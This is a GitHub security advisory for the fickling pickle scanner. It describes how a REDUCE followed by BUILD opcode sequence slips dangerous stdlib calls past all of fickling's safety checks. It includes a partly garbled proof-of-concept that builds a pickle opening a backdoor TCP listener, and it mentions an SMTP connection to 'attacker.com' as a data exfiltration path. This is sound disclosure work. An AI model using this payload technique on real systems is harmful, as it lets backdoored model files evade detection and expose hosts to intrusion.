GitHub Advisoryadvisory · PyPI
GHSA-mhc9-48gj-9gp3 Fickling has safety check bypass via REDUCE+BUILD opcode sequence
MEDIUM
Official page ↗
- Ecosystem
- PyPI
- Packages
- fickling
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
- Weaknesses
- CWE-184
- Reviewed
- 2026-02-25
Affected packages
• PyPI fickling: < 0.1.8 → fixed in 0.1.8
Description
Assessment
It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).
Original report
Summary
All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.
Details
The bypass exploits three weaknesses in fickling's static analysis pipeline:
1. `likely_safe_imports` over-inclusion (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.
2. `OvertlyBadEvals` exemption (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.
3. `__setstate__` exclusion (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).
Affected versions
All versions through 0.1.7 (latest as of 2026-02-18).
Affected APIs
• `fickling.is_likely_safe()` - returns `True` for bypass payloads
• `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`
• `fickling --check-safety` CLI - exits with code 0
• `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes
• `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes
PoC
A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:
```python
import io, struct, tempfile, os
def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack(" (address, handler)
payload.write(b"R") # REDUCE -> TCPServer(address, handler)
payload.write(b"N") # NONE
payload.write(b"b") # BUILD(None) -> no-op
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
Output: True <-- BYPASSED
server = pickle.loads(data)
Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
```
The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.
Impact
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:
• Backdoor network listener: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `…
Related
Weakness · CWE (1)
- CWE-184 Incomplete List of Disallowed Inputs weakness